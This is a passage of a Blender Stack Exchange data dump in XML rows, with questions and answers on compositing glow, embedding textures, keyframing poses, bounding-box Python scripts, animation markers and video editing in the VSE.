  <row Id="7167" PostTypeId="1" AcceptedAnswerId="7170" CreationDate="2014-02-19T09:50:36.340" Score="6" ViewCount="1864" Body="&lt;p&gt;this is driving me crazy. I want the trails in this scene to glow:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Vh1RB.jpg&quot; alt=&quot;nodes problem&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But when plugging the trails into the z combine node the blur is removed. If you have an idea why that is and what I can do to fix it I would be much obliged.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many Thanks for your answers! Here is what happened:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not using Alpha results in this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/N97eL.png&quot; alt=&quot;alpha with nodes&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The blur is there but it is behind the geometry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I already tried blurring the Z pass before and it turned out like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/2UScG.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Map Range nodes are necessary because otherwise the Z blur would just turn out white. There is some blur visible but the rest is messed up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think the problem is that the blurred render layer is wrapped by the unblurred render layer. This is what Gandalfs example would look like when putting a cube in front and one behind the blurred one:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/PPU0a.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2518" LastEditorUserId="2217" LastEditDate="2014-08-05T18:15:22.660" LastActivityDate="2014-08-05T18:15:22.660" Title="Cannot blur one render layer and then Z-combine it with another layer" Tags="&lt;compositor&gt;&lt;render-layers&gt;&lt;blur&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7168" PostTypeId="1" AcceptedAnswerId="7169" CreationDate="2014-02-19T09:53:02.620" Score="7" ViewCount="4396" Body="&lt;p&gt;Is there any function which allows to embed all used textures at once in the .blend file? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have multiple .blend files with dozens of textures and would prefer not to do this one by one.&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="599" LastEditDate="2014-02-19T10:09:12.647" LastActivityDate="2014-02-19T10:09:12.647" Title="Can all textures embedded at once?" Tags="&lt;texturing&gt;&lt;workflow&gt;&lt;image&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7169" PostTypeId="2" ParentId="7168" CreationDate="2014-02-19T09:59:12.433" Score="8" Body="&lt;p&gt;The function you want is located in &lt;em&gt;Info &gt; File &gt; External Data&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/TBYe2.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-02-19T09:59:12.433" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7170" PostTypeId="2" ParentId="7167" CreationDate="2014-02-19T10:03:11.563" Score="2" Body="&lt;p&gt;Either disable &lt;em&gt;Use Alpha&lt;/em&gt; or blur the Z as well:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/3mK3S.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h1&gt;Update&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;As pointer out by the OP, the above solution does not work when there is geometry behind the glowing object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are some alternative methods roughly in order of number of steps needed to set up:&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;1. &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Composite_Nodes/Types/Convertor&quot; rel=&quot;nofollow noreferrer&quot;&gt;ID Mask&lt;/a&gt;:&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;This method is probably the quickest as it doesn't even require more than one renderlayer.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Enable the &lt;em&gt;Object Index&lt;/em&gt; pass in &lt;em&gt;Properties &gt; Renderlayers &gt; Passes&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Hsoc2.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Select the object(s) you want to blur and set the &lt;em&gt;Pass Index&lt;/em&gt; to a unique number so that no other objects have the same &lt;em&gt;Pass Index&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/S6cVu.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In the compositor, add an &lt;em&gt;ID Mask&lt;/em&gt; node and set the &lt;em&gt;Index&lt;/em&gt; to the same number you set the objects:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/DCxoa.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/DCxoa.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Also see this &lt;a href=&quot;https://blender.stackexchange.com/q/3092/599&quot;&gt;related question&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;2. Z-Mask:&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;You'll notice that in method one that the glow appears in front of other objects:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/nBuP9.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may want this effect or you may not. If you don't, then you can use the &lt;em&gt;Zmask&lt;/em&gt; in &lt;em&gt;Properties &gt; Renderlayers &gt; Layer&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Background objects are on Layer 1&lt;/li&gt;&#xA;&lt;li&gt;Foreground objects are on layer 2&lt;/li&gt;&#xA;&lt;li&gt;Glow objects are on layer 3&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/4oLHE.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/4oLHE.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:45.513" LastActivityDate="2014-02-19T22:04:43.823" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7171" PostTypeId="1" AcceptedAnswerId="7172" CreationDate="2014-02-19T12:49:48.397" Score="8" ViewCount="11222" Body="&lt;p&gt;I rigged a character and I can render stills, but I can't make an animation. How to make Blender &quot;know&quot; that I want the arm - as an example - go from up to down?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried to move my character arms down, than changed the current frame to 1 and moved it up a little. Than I went to frame 2 and moved it up a bit more and repeated this until frame 20. When I went back to frame 0, it stayed as I left it in frame 20, so I guess I'm not doing it right.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How to &quot;remember&quot; the poses?&lt;/p&gt;&#xA;" OwnerUserId="2148" LastEditorUserId="1363" LastEditDate="2014-02-19T13:24:14.757" LastActivityDate="2015-11-05T13:48:07.833" Title="How to make an animation / armature remember poses?" Tags="&lt;animation&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7172" PostTypeId="2" ParentId="7171" CreationDate="2014-02-19T12:55:49.207" Score="10" Body="&lt;p&gt;You need to set keyframes after posing the character. With the posed object selected hit &lt;kbd&gt;I&lt;/kbd&gt; and set the appropriate keyframe, e.g &lt;em&gt;LocRot&lt;/em&gt; (for location and rotation). You need to do this &lt;strong&gt;before you move onto the next frame&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Frames that have keyframes on them are highlighted with an orange line in the timeline. If you don't see the keyframe before moving on, your changes will be lost for that frame and you will have to redo it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9NokE.png&quot; alt=&quot;Insert Keyframe Menu - LocRot&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may want to enable &lt;em&gt;Auto Keyframing&lt;/em&gt; (&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Animation/Editors/Timeline#V_Keyframe_Control&quot; rel=&quot;noreferrer&quot;&gt;Docs&lt;/a&gt;) to automatically insert keyframes as you pose your armature:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/XdTxx.png&quot; alt=&quot;Timeline - Auto-Keyframing enabled&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1476" LastEditorUserId="1363" LastEditDate="2014-02-19T13:40:22.963" LastActivityDate="2014-02-19T13:40:22.963" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7173" PostTypeId="2" ParentId="7163" CreationDate="2014-02-19T13:17:32.220" Score="7" Body="&lt;p&gt;This is an interactive tool, a modal operator that draws the x, y, width and height of the bounding box corners viewed from front (use ortho to check):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import bgl&#xA;import blf&#xA;from mathutils import Vector&#xA;from bpy_extras.view3d_utils import location_3d_to_region_2d&#xA;&#xA;class G:&#xA;    top_left = Vector()&#xA;    bottom_right = Vector()&#xA;&#xA;def draw_poll(ob):&#xA;    if ob is not None and ob.type in ('MESH', 'CURVE', 'SURFACE', 'META', 'FONT'):&#xA;        return True&#xA;    return False&#xA;&#xA;def draw_callback_view(self, context):&#xA;&#xA;    ob = context.object&#xA;    if not draw_poll(ob):&#xA;        return&#xA;&#xA;    mat = ob.matrix_world&#xA;&#xA;    # 50% alpha, 2 pixel width line&#xA;    bgl.glEnable(bgl.GL_BLEND)&#xA;    bgl.glColor4f(1.0, 0.0, 0.0, 0.5)&#xA;    bgl.glLineWidth(2)&#xA;&#xA;    bbox = [mat * Vector(b) for b in ob.bound_box]&#xA;&#xA;    bgl.glBegin(bgl.GL_LINE_STRIP)&#xA;    bgl.glVertex3f(*bbox[0])&#xA;    bgl.glVertex3f(*bbox[1])&#xA;    bgl.glVertex3f(*bbox[2])&#xA;    bgl.glVertex3f(*bbox[3])&#xA;    bgl.glVertex3f(*bbox[0])&#xA;    bgl.glVertex3f(*bbox[4])&#xA;    bgl.glVertex3f(*bbox[5])&#xA;    bgl.glVertex3f(*bbox[6])&#xA;    bgl.glVertex3f(*bbox[7])&#xA;    bgl.glVertex3f(*bbox[4])&#xA;    bgl.glEnd()&#xA;&#xA;    bgl.glBegin(bgl.GL_LINES)&#xA;    bgl.glVertex3f(*bbox[1])&#xA;    bgl.glVertex3f(*bbox[5])&#xA;    bgl.glVertex3f(*bbox[2])&#xA;    bgl.glVertex3f(*bbox[6])&#xA;    bgl.glVertex3f(*bbox[3])&#xA;    bgl.glVertex3f(*bbox[7])&#xA;    bgl.glEnd()&#xA;&#xA;    min_x = min(b.x for b in bbox)&#xA;    max_x = max(b.x for b in bbox)&#xA;    min_y = min(b.y for b in bbox)&#xA;    max_y = max(b.y for b in bbox)&#xA;    min_z = min(b.z for b in bbox)&#xA;    max_z = max(b.z for b in bbox)&#xA;&#xA;    bgl.glColor4f(0.0, 1.0, 0.0, 0.5)&#xA;    bgl.glBegin(bgl.GL_LINE_STRIP)&#xA;    bgl.glVertex3f(min_x, min_y, min_z)&#xA;    bgl.glVertex3f(min_x, max_y, min_z)&#xA;    bgl.glVertex3f(max_x, max_y, min_z)&#xA;    bgl.glVertex3f(max_x, min_y, min_z)&#xA;    bgl.glVertex3f(min_x, min_y, min_z)&#xA;    bgl.glVertex3f(min_x, min_y, max_z)&#xA;    bgl.glVertex3f(min_x, max_y, max_z)&#xA;    bgl.glVertex3f(max_x, max_y, max_z)&#xA;    bgl.glVertex3f(max_x, min_y, max_z)&#xA;    bgl.glVertex3f(min_x, min_y, max_z)&#xA;    bgl.glEnd()&#xA;&#xA;    bgl.glBegin(bgl.GL_LINES)&#xA;    bgl.glVertex3f(max_x, min_y, min_z)&#xA;    bgl.glVertex3f(max_x, min_y, max_z)&#xA;    bgl.glVertex3f(min_x, max_y, min_z)&#xA;    bgl.glVertex3f(min_x, max_y, max_z)&#xA;    bgl.glVertex3f(max_x, max_y, min_z)&#xA;    bgl.glVertex3f(max_x, max_y, max_z)&#xA;    bgl.glEnd()&#xA;&#xA;    G.top_left = Vector((min_x, min_y, max_z))&#xA;    G.bottom_right = Vector((max_x, min_y, min_z))&#xA;&#xA;    bgl.glColor4f(1.0, 0.9, 0.0, 1.0)&#xA;    bgl.glPointSize(5)&#xA;    bgl.glBegin(bgl.GL_POINTS)&#xA;    bgl.glVertex3f(*G.top_left)&#xA;    bgl.glVertex3f(*G.bottom_right)&#xA;    bgl.glEnd()&#xA;&#xA;    # restore opengl defaults&#xA;    bgl.glLineWidth(1)&#xA;    bgl.glDisable(bgl.GL_BLEND)&#xA;    bgl.glColor4f(0.0, 0.0, 0.0, 1.0)&#xA;&#xA;&#xA;def draw_callback_px(self, context):&#xA;&#xA;    ob = context.object&#xA;    if not draw_poll(ob):&#xA;        return&#xA;&#xA;    font_id = 0&#xA;    blf.size(font_id, 20, 72)&#xA;&#xA;    region = context.region&#xA;    rv3d = context.space_data.region_3d&#xA;&#xA;    text = &quot;%.2f / %.2f&quot; % G.top_left.xz[:]&#xA;    dim = blf.dimensions(font_id, text)&#xA;    loc = location_3d_to_region_2d(region, rv3d, G.top_left)&#xA;    loc.x -= dim[0]&#xA;    blf.position(font_id, *loc.to_3d())&#xA;    blf.draw(font_id, text)&#xA;&#xA;    text = &quot;%.2f / %.2f&quot; % tuple(map(abs, (G.top_left - G.bottom_right).xz))&#xA;    dim = blf.dimensions(font_id, text)&#xA;    loc = location_3d_to_region_2d(region, rv3d, G.bottom_right)&#xA;    loc.y -= dim[1]&#xA;    blf.position(font_id, *loc.to_3d())&#xA;    blf.draw(font_id, text)&#xA;&#xA;&#xA;class ModalDrawOperator(bpy.types.Operator):&#xA;    &quot;&quot;&quot;Draw a line with the mouse&quot;&quot;&quot;&#xA;    bl_idname = &quot;view3d.modal_operator&quot;&#xA;    bl_label = &quot;Simple Modal View3D Operator&quot;&#xA;&#xA;    def modal(self, context, event):&#xA;        context.area.tag_redraw()&#xA;&#xA;        if event.type in {'ESC'}:&#xA;            bpy.types.SpaceView3D.draw_handler_remove(self._handle_view, 'WINDOW')&#xA;            bpy.types.SpaceView3D.draw_handler_remove(self._handle_px, 'WINDOW')&#xA;            return {'CANCELLED'}&#xA;&#xA;        return {'PASS_THROUGH'}&#xA;&#xA;    def invoke(self, context, event):&#xA;        if context.area.type == 'VIEW_3D':&#xA;            # the arguments we pass the the callback&#xA;            args = (self, context)&#xA;            # Add the region OpenGL drawing callback&#xA;            # draw in view space with 'POST_VIEW' and 'PRE_VIEW'&#xA;            self._handle_view = bpy.types.SpaceView3D.draw_handler_add(draw_callback_view, args, 'WINDOW', 'POST_VIEW')&#xA;            self._handle_px = bpy.types.SpaceView3D.draw_handler_add(draw_callback_px, args, 'WINDOW', 'POST_PIXEL')&#xA;&#xA;            context.window_manager.modal_handler_add(self)&#xA;            return {'RUNNING_MODAL'}&#xA;        else:&#xA;            self.report({'WARNING'}, &quot;View3D not found, cannot run operator&quot;)&#xA;            return {'CANCELLED'}&#xA;&#xA;&#xA;def register():&#xA;    bpy.utils.register_class(ModalDrawOperator)&#xA;&#xA;&#xA;def unregister():&#xA;    bpy.utils.unregister_class(ModalDrawOperator)&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    register()&#xA;&#xA;    for area in bpy.context.screen.areas:&#xA;        if area.type == 'VIEW_3D':&#xA;            context = bpy.context.copy()&#xA;            context['area'] = area&#xA;            bpy.ops.view3d.modal_operator(context, 'INVOKE_DEFAULT')&#xA;            break&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The relevant part for you (front view only):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;from mathutils import Vector&#xA;&#xA;ob = bpy.context.object&#xA;mat = ob.matrix_world&#xA;bbox = [mat * Vector(b) for b in ob.bound_box]&#xA;&#xA;min_x = min(b.x for b in bbox)&#xA;max_x = max(b.x for b in bbox)&#xA;min_z = min(b.z for b in bbox)&#xA;max_z = max(b.z for b in bbox)&#xA;&#xA;top_left = Vector((min_x, max_z))&#xA;bottom_right = Vector((max_x, min_z))&#xA;&#xA;# x and y&#xA;#top_left&#xA;&#xA;# width and height&#xA;#tuple(map(abs, (top_left - bottom_right))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And here's some code to write out what you asked for (front view):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;from mathutils import Vector&#xA;&#xA;def main():&#xA;&#xA;    # specify the object&#xA;    ob = bpy.context.object&#xA;&#xA;    # change to your desired output location and file name&#xA;    filepath = r&quot;D:\temp\bounds_2d.txt&quot;&#xA;&#xA;    scene = bpy.context.scene&#xA;    frame_current = scene.frame_current&#xA;    frame_start = scene.frame_start&#xA;    frame_end = scene.frame_end&#xA;&#xA;    write_bounds_3d(filepath, ob, frame_start, frame_end)&#xA;&#xA;    scene.frame_set(frame_current)&#xA;&#xA;&#xA;def write_bounds_3d(filepath, ob, frame_start, frame_end):&#xA;&#xA;    with open(filepath, &quot;w&quot;) as file: &#xA;        for frame in range(frame_start, frame_end + 1):&#xA;            bpy.context.scene.frame_set(frame)&#xA;            file.write(&quot;%f %f %f %f\n&quot; % get_bounds(ob))&#xA;&#xA;def get_bounds(ob):&#xA;    mat = ob.matrix_world&#xA;    bbox = [mat * Vector(b) for b in ob.bound_box]&#xA;&#xA;    min_x = min(b.x for b in bbox)&#xA;    max_x = max(b.x for b in bbox)&#xA;    min_y = min(b.y for b in bbox)&#xA;    max_y = max(b.y for b in bbox)&#xA;&#xA;    top_left = Vector((min_x, max_y))&#xA;    bottom_right = Vector((max_x, min_y))&#xA;&#xA;    # make flat tuple, x y width height&#xA;    return top_left.to_tuple() + tuple(map(abs, (top_left - bottom_right)))&#xA;&#xA;if __name__ == '__main__':&#xA;    main()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1363" LastEditorUserId="668" LastEditDate="2014-02-20T10:05:07.007" LastActivityDate="2014-02-20T10:05:07.007" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7174" PostTypeId="2" ParentId="7163" CreationDate="2014-02-19T13:23:48.587" Score="4" Body="&lt;p&gt;Taken the simple scene and comments into account and assuming that the origin of the object is centered, this should do the trick. But be warned: if you have a more complex scene or different setup it will probably fail miserably.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import os&#xA;import bpy&#xA;&#xA;def get_anim_info(obj):&#xA;    width, height = obj.dimensions[0:2]&#xA;    # Assume origin in centered.&#xA;    x = obj.location.x - width / 2&#xA;    y = obj.location.y + height / 2&#xA;    return &quot;{} {} {} {}&quot;.format(x, y, width, height)&#xA;&#xA;# Save the file in the same directory as the blend file&#xA;dir = os.path.split(bpy.data.filepath)[0]&#xA;f_path = os.path.join(dir, &quot;anim.txt&quot;)&#xA;&#xA;scene = bpy.context.scene&#xA;anim_info = []&#xA;obj = bpy.context.object  # Use the active object.&#xA;&#xA;for frame in range(scene.frame_start, scene.frame_end + 1):&#xA;    scene.frame_set(frame)&#xA;    anim_info.append(get_anim_info(obj))&#xA;    with open(f_path, &quot;w&quot;) as f:&#xA;        f.write(&quot;\n&quot;.join(anim_info))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="668" LastActivityDate="2014-02-19T13:23:48.587" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7175" PostTypeId="1" AcceptedAnswerId="7177" CreationDate="2014-02-19T14:15:35.447" Score="3" ViewCount="960" Body="&lt;p&gt;I'm trying to use animation markers for events in a game engine. I added several actions to a test file and a few markers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The markers seem to be the same in all actions, and editing a marker with one action active changes the marker in the other actions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the question is, are animation markers stored similar to keyframes inside an action, or are they stored outside the animation? Are they purely meant as an editing tool? Is there a separate mechanism to mark animation events or do I need to script something myself?&lt;/p&gt;&#xA;" OwnerUserId="1387" LastActivityDate="2014-02-19T14:50:44.703" Title="Are animation markers part of the timeline or part of an action?" Tags="&lt;animation&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7176" PostTypeId="2" ParentId="5095" CreationDate="2014-02-19T14:42:39.007" Score="1" Body="&lt;p&gt;It reminds me of an error I had during a manual difference, like this one: &lt;a href=&quot;http://blenderartists.org/forum/archive/index.php/t-263716.html&quot; rel=&quot;nofollow&quot;&gt;http://blenderartists.org/forum/archive/index.php/t-263716.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seemed to me that blender 2.63 cannot make the difference of two objects sharing the same plane frontier. I just moved one for a very short distance and got rid of the message “Cannot execute boolean operation”&lt;/p&gt;&#xA;" OwnerUserId="2522" LastActivityDate="2014-02-19T14:42:39.007" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7177" PostTypeId="2" ParentId="7175" CreationDate="2014-02-19T14:50:44.703" Score="6" Body="&lt;p&gt;It depends, there are &lt;strong&gt;Timeline Markers&lt;/strong&gt; and &lt;strong&gt;Pose Markers&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_69_10/bpy.types.Scene.html#bpy.types.Scene.timeline_markers&quot;&gt;Timeline markers&lt;/a&gt; are stored at scene level, whereas &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_69_10/bpy.types.Action.html#bpy.types.Action.pose_markers&quot;&gt;Pose markers&lt;/a&gt; are stored in an action:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# Timeline markers of current scene&#xA;bpy.context.scene.timeline_markers&#xA;&#xA;# Pose markers for 'CubeAction'&#xA;bpy.data.actions['CubeAction'].pose_markers&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In the &lt;em&gt;Dope Sheet&lt;/em&gt; editor, switch to &lt;em&gt;Action Editor&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Click the menu &lt;em&gt;Marker &gt; Show Pose Markers&lt;/em&gt; to see pose markers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With this enabled, creating markers will add pose markers!&lt;br&gt;&#xA;(Pose markers show a diamond-shaped icon)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With &lt;em&gt;Show Pose Markers&lt;/em&gt; disabled, you may select Timeline markers (they show a triangular icon) and click &lt;em&gt;Marker &gt; Make Markers Local&lt;/em&gt; to convert them to Pose markers. Note that the original Timeline marker will be gone. If you want to keep it, make a duplicate before you convert (&lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;D&lt;/kbd&gt;, &lt;kbd&gt;Esc&lt;/kbd&gt;).&lt;/p&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2014-02-19T14:50:44.703" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7179" PostTypeId="1" AcceptedAnswerId="7180" CreationDate="2014-02-19T15:03:09.367" Score="21" ViewCount="10480" Body="&lt;p&gt;I'm using Blender for non linear video editor, I'm simply removing dead times (times in which nothing happen) in my video using hard cut (&lt;kbd&gt;Shift + k&lt;/kbd&gt;) after this process I've got something like this:&lt;img src=&quot;https://i.stack.imgur.com/461FU.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;At the moment I'm using  &lt;kbd&gt;g&lt;/kbd&gt; for moving the pieces of video one by one next to each other for removing the black scene interruption is there an automatic way to do the same thing?&lt;/p&gt;&#xA;" OwnerUserId="1362" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2014-02-19T16:53:06.217" Title="How to automatically join stripped pieces of video?" Tags="&lt;video-sequence-editor&gt;&lt;video&gt;&lt;scene&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="7180" PostTypeId="2" ParentId="7179" CreationDate="2014-02-19T16:29:40.680" Score="29" Body="&lt;p&gt;Keep the cursor (the green vertical line) on the left hand side, then &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;Backspace&lt;/kbd&gt; to remove all gaps. (If pressing &lt;kbd&gt;Backspace&lt;/kbd&gt; once, it will only remove the first gap to the right of the current frame, which can be operate continously. This operation can be found at &lt;strong&gt;Strip &gt; Remove Gaps&lt;/strong&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/xl9A1.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;P.S.:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here, &lt;strong&gt;Gap&lt;/strong&gt; means frame durations that don't hold any strips. So, in case of multiple channels, you may want to first select strips on particular channel, then &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;G&lt;/kbd&gt; to make them as a temporary meta strip, then &lt;kbd&gt;Tab&lt;/kbd&gt; into that Meta strip, do what you want to do. Then &lt;kbd&gt;Tab&lt;/kbd&gt; again to exit meta group, &lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;G&lt;/kbd&gt; to ungroup it.&lt;/p&gt;&#xA;" OwnerUserId="696" LastEditorUserId="696" LastEditDate="2014-02-19T16:53:06.217" LastActivityDate="2014-02-19T16:53:06.217" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7181" PostTypeId="1" AcceptedAnswerId="7182" CreationDate="2014-02-19T16:47:47.763" Score="6" ViewCount="16314" Body="&lt;p&gt;I'm making a tutorial, after a little work of strip I would like to speed up the video the seconds seems last longer (maybe because I've use video of different qualities) so I would like to increase the velocity at which the video is played even at a velocity greater than the original one. &lt;/p&gt;&#xA;" OwnerUserId="1362" LastEditorUserId="2217" LastEditDate="2017-02-18T15:10:13.237" LastActivityDate="2017-02-18T15:10:13.237" Title="How to speed up a video in the VSE?" Tags="&lt;video-sequence-editor&gt;&lt;video&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7182" PostTypeId="2" ParentId="7181" CreationDate="2014-02-19T16:58:15.097" Score="18" Body="&lt;p&gt;You can do this by adding a &lt;strong&gt;Speed Control&lt;/strong&gt; effect strip to the selected strip.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/LRRzd.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are two methods for controlling the speed:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/EvA6v.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/SFmK0.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="696" LastActivityDate="2014-02-19T16:58:15.097" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="7183" PostTypeId="1" AcceptedAnswerId="7186" CreationDate="2014-02-19T17:14:10.913" Score="5" ViewCount="1743" Body="&lt;p&gt;Hi I'm in desperate need of help, I'm creating an animation for a Magic Cube. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.youtube.com/watch?v=BcQ0xYWhX0k&quot; rel=&quot;nofollow&quot;&gt;http://www.youtube.com/watch?v=BcQ0xYWhX0k&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This video shows what I need to create&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So far I have been able to move the pivot of a cube one way and then again another by using an armature and an empty, however because these are now linked up I cannot figure out how to move the cube another turn &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://i33.photobucket.com/albums/d8...19at162154.png&quot; rel=&quot;nofollow&quot;&gt;http://i33.photobucket.com/albums/d8...19at162154.png&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;here demonstrates the point i'm at, I have place empty cubes to show where I need the actual cubes to be, however if I attempt to link them the original position has changed. Is there anyway I can animate these cubes rotating with the one above them?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm new to Blender and have had to learn after using 3Ds max for a while I'm 